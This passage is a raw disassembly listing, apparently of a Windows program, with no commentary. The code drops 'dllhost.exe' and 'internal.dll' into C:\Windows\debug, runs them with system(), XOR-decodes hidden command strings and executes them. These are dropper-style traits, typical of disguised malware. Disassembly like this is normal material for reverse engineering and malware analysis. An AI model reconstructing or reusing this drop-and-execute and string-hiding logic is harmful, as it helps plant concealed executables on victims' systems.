mov dword [ebp - 0x30], 0xbcb5eef0
mov word [ebp - 0x2c], 0x97
mov byte [ebp - 0x2a], 1
call fcn.0040f330
lea edx, [ebp - 0x48]
mov ecx, esi
call fcn.00410c80
lea ecx, [ebp - 0x628]
mov dword [ebp - 0x628], 0x7d0
mov dword [ebp - 0x624], 0
call fcn.00410b40
push dword [ebp - 0x59d]
lea eax, [ebp - 0x40]
mov dword [ebp - 0x68], 0
xorps xmm0, xmm0
mov dword [ebp - 0x540], eax
mov ecx, eax
movq qword [ebp - 0x70], xmm0
call fcn.004039a0
push 6
push str.005759
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x13
call fcn.004039c0
lea ecx, [ebp - 0x70]
call fcn.004013e0
lea ecx, [ebp - 0x40]
call fcn.00401400
push 0xb0
lea eax, [ebp - 0x300]
mov byte [ebp - 4], 0x14
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x300]
push 1
push 0x40
push 0x22
push str.C:Windowsdebugdllhost.exe
call fcn.00410250
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
sub ecx, eax
push 0
push ecx
push eax
lea ecx, [ebp - 0x300]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x300]
call fcn.00410170
push dword [ebp - 0x59d]
lea eax, [ebp - 0x40]
mov dword [ebp - 0x5c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x540], eax
mov ecx, eax
movq qword [ebp - 0x64], xmm0
call fcn.004039a0
push 6
push str.865791
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x16
call fcn.004039c0
lea ecx, [ebp - 0x64]
call fcn.004013e0
lea ecx, [ebp - 0x40]
call fcn.00401400
push 0xb0
lea eax, [ebp - 0x3b0]
mov byte [ebp - 4], 0x17
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x3b0]
push 1
push 0x40
push 0x22
push str.C:Windowsdebuginternal.dll
call fcn.00410250
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
sub ecx, eax
push 0
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x3b0]
call fcn.00410170
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.C:Windowsdebugdllhost.exe
call esi
add esp, 4
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x498680]
mov ax, word [0x4986a8]
xor edx, edx
mov word [ebp - 0x548], ax
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x570], xmm0
movups xmm0, xmmword [0x498690]
movups xmmword [ebp - 0x560], xmm0
movq xmm0, qword [0x4986a0]
movq qword [ebp - 0x550], xmm0
cmp edi, 2
jl 0x40c930
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x570]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x570], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x56c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x56c], xmm2
add edx, 8
cmp edx, 0x28
jl 0x40c830
mov dword [ebp - 0x52c], edx
cmp edx, 0x2a
jge 0x40c967
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x570], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x2a
jl 0x40c930
lea ecx, [ebp - 0x570]
call fcn.004078e0
movups xmm0, xmmword [0x49845c]
mov al, byte [0x49847c]
xor edx, edx
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [0x49846c]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40cad0
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x568]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x568], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x564]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x564], xmm2
add edx, 8
cmp edx, 0x20
jl 0x40c9d3
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jge 0x40cb07
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x568], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jl 0x40cad0
lea ecx, [ebp - 0x568]
call fcn.004078e0
movups xmm0, xmmword [0x49845c]
mov al, byte [0x49847c]
xor edx, edx
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [0x49846c]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40cc70
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x568]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x568], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x564]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x564], xmm2
add edx, 8
cmp edx, 0x20
jl 0x40cb73
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jge 0x40cca7
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x568], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jl 0x40cc70
lea ecx, [ebp - 0x568]
call fcn.004078e0
movups xmm0, xmmword [0x49845c]
mov al, byte [0x49847c]
xor edx, edx
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [0x49846c]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40ce10
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x568]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x568], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x564]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x564], xmm2
add edx, 8
cmp edx, 0x20
jl 0x40cd13
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jge 0x40ce47
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x568], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jl 0x40ce10
lea ecx, [ebp - 0x568]
call fcn.004078e0
movups xmm0, xmmword [0x498654]
mov ax, word [0x498674]
xor edx, edx
mov word [ebp - 0x548], ax
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [0x498664]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40cfc0
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x568]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x568], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x564]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x564], xmm2
add edx, 8
cmp edx, 0x20
jl 0x40cec0
mov dword [ebp - 0x52c], edx
cmp edx, 0x22
jge 0x40cff7
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x568], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x22
jl 0x40cfc0
lea ecx, [ebp - 0x568]
call fcn.004078e0
movups xmm0, xmmword [0x498654]
mov ax, word [0x498674]
xor edx, edx
mov word [ebp - 0x548], ax
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [0x498664]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40d170
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x568]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x568], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x564]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x564], xmm2
add edx, 8
cmp edx, 0x20
jl 0x40d070
mov dword [ebp - 0x52c], edx
cmp edx, 0x22
jge 0x40d1a7
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x568], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x22
jl 0x40d170
lea ecx, [ebp - 0x568]
call fcn.004078e0
cmp byte [0x498483], 0
mov eax, dword [str.sa3DPAX_Z_]
mov dword [ebp - 0x52c], eax
je 0x40d287
xor edx, edx
mov dword [ebp - 0x530], edx
cmp edi, 2
jl 0x40d250
movaps xmm3, xmmword [0x4995e0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4996a0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4996a0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x499630]
xorps xmm3, xmm0
movd dword [ebp - 0x52c], xmm3
jmp 0x40d287
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x530]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x52c], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 4
jl 0x40d250
lea eax, [ebp - 0x52c]
push eax
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, 0x4535c8
call fcn.00410c80
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea ecx, [ebp - 0x604]
mov dword [ebp - 0x604], 0xc2a3a2a1
mov dword [ebp - 0x600], 0xfbeee8ec
mov dword [ebp - 0x5fc], 0xa2efefe1
mov dword [ebp - 0x5f8], 0x10084ad
call fcn.0040f5e0
lea edx, [ebp - 0x604]
mov ecx, esi
call fcn.00410c80
lea ecx, [ebp - 0x618]
mov dword [ebp - 0x618], 0x7d0
mov dword [ebp - 0x614], 0
call fcn.00410b40
cmp byte [0x498483], 0
mov eax, dword [str.sa3DPAX_Z_]
mov dword [ebp - 0x52c], eax
je 0x40d3d7
xor edx, edx
mov dword [ebp - 0x530], edx
cmp edi, 2
jl 0x40d3a0
movaps xmm3, xmmword [0x4995e0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4996a0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4996a0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x499630]
xorps xmm3, xmm0
movd dword [ebp - 0x52c], xmm3
jmp 0x40d3d7
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x530]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x52c], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 4
jl 0x40d3a0
lea eax, [ebp - 0x52c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x348]
call fcn.004101a0
lea ecx, [ebp - 0x348]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x64]
call fcn.00401390
lea ecx, [ebp - 0x298]
call fcn.004101a0
lea ecx, [ebp - 0x298]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 7
call fcn.00401390
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
call fcn.00420ba0
call fcn.00420ba0
call fcn.00419fe0
mov eax, dword [0x5b5d50]
push 0
mov ecx, dword [eax]
push ecx
mov dword [esp], 0x3f800000
push 0
push 3
push 0
push 0
push eax
call dword [ecx + 0xac]
mov eax, dword [0x5b5d50]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
test eax, eax
js 0x40d4ad
call fcn.0041a450
mov eax, dword [0x5b5d98]
xor ecx, ecx
mov eax, dword [eax + 0x1dd8]
mov eax, dword [eax]
sub eax, 0xffffff80
cmp byte [eax], cl
cmovne ecx, eax
call fcn.00442050
mov eax, dword [0x5b5d50]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov eax, dword [ebp - 0x5a0]
test dword [eax + 8], 0x400
je 0x40d4ca
call fcn.00428540
xor edx, edx
xor ecx, ecx
call fcn.00428920
mov ecx, dword [0x5b5d50]
push 0
push 0
push 0
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x44]
cmp eax, 0x88760868
jne 0x40d4fc
mov eax, dword [0x5b5d50]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
cmp eax, 0x88760869
jne 0x40d4fc
call fcn.00406a40
cmp byte [0x5b5498], 0
je 0x40de69
cmp dword [ebp - 0x98], 0x12
jne 0x409dc0
jmp 0x40de73
movaps xmm0, xmmword [0x4998e0]
lea edx, [ebp - 0x5e0]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x5e0], xmm0
mov dword [ebp - 0x5d0], 0xf0f6fcff
call fcn.0040e110
push 0x410ea0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x5f0]
push eax
lea ecx, [ebp - 0x5c1]
call fcn.0040df60
mov dword [ebp - 0x5c8], eax
cmp byte [eax + 6], 0
je 0x40d5b2
xor ecx, ecx
mov dword [ebp - 0x530], ecx
nop word [eax + eax]
lea esi, [eax + ecx]
mov eax, 0x4ec4ec4f
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
sub cl, al
mov eax, dword [ebp - 0x5c8]
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x530]
inc ecx
mov dword [ebp - 0x530], ecx
cmp ecx, 7
jl 0x40d580
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x5f1]
call fcn.0040df30
mov edi, eax
cmp byte [edi + 6], 0
je 0x40d600
xor ecx, ecx
mov dword [ebp - 0x530], ecx
mov eax, 0x4ec4ec4f
lea esi, [edi + ecx]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x530]
inc ecx
mov dword [ebp - 0x530], ecx
cmp ecx, 7
jl 0x40d5d4
push 0x40
push dword [ebp - 0x5c8]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x5c2]
call fcn.0040e1c0
mov edi, eax
mov dword [ebp - 0x540], edi
cmp byte [edi + 0x2f], 0
je 0x40d7b3
xor ecx, ecx
cmp dword [0x5b5cf8], 2
mov dword [ebp - 0x530], ecx
jl 0x40d780
movaps xmm0, xmmword [0x499630]
mov eax, 4
movaps xmm4, xmmword [0x4995e0]
xor edx, edx
movaps xmm3, xmmword [0x4996a0]
sub eax, edi
movaps xmm5, xmmword [0x499610]
mov ecx, edi
movaps xmmword [ebp - 0x5c0], xmm0
mov edi, eax
mov esi, dword [ebp - 0x5c0]
mov dword [ebp - 0x5a0], eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edi + ecx]
pshufd xmm2, xmm0, 0
lea ecx, [ecx + 8]
paddd xmm2, xmm4
add edx, 8
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ecx - 8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 4]
xorps xmm2, xmm0
movd dword [ecx - 4], xmm2
cmp edx, 0x30
jl 0x40d690
mov edi, dword [ebp - 0x540]
jmp 0x40d7b3
mov eax, 0x4ec4ec4f
lea esi, [edi + ecx]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x530]
inc ecx
mov dword [ebp - 0x530], ecx
cmp ecx, 0x30
jl 0x40d780
mov ecx, edi
call fcn.004078e0
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x5c1]
call fcn.0040e1f0
mov edi, eax
mov dword [ebp - 0x540], edi
cmp byte [edi + 0x2c], 0
je 0x40d954
xor ecx, ecx
cmp dword [0x5b5cf8], 2
mov dword [ebp - 0x52c], ecx
jl 0x40d921
movaps xmm0, xmmword [0x499630]
mov eax, 4
movaps xmm4, xmmword [0x4995e0]
sub eax, edi
movaps xmm3, xmmword [0x4996a0]
mov edx, edi
movaps xmm5, xmmword [0x499610]
mov edi, eax
movaps xmmword [ebp - 0x5c0], xmm0
mov esi, dword [ebp - 0x5c0]
mov dword [ebp - 0x5a0], eax
nop dword [eax]
movd xmm0, ecx
lea eax, [edi + edx]
pshufd xmm2, xmm0, 0
lea edx, [edx + 8]
paddd xmm2, xmm4
add ecx, 8
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [edx - 8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [edx - 8], xmm2
pshufd xmm2, xmm0, 0
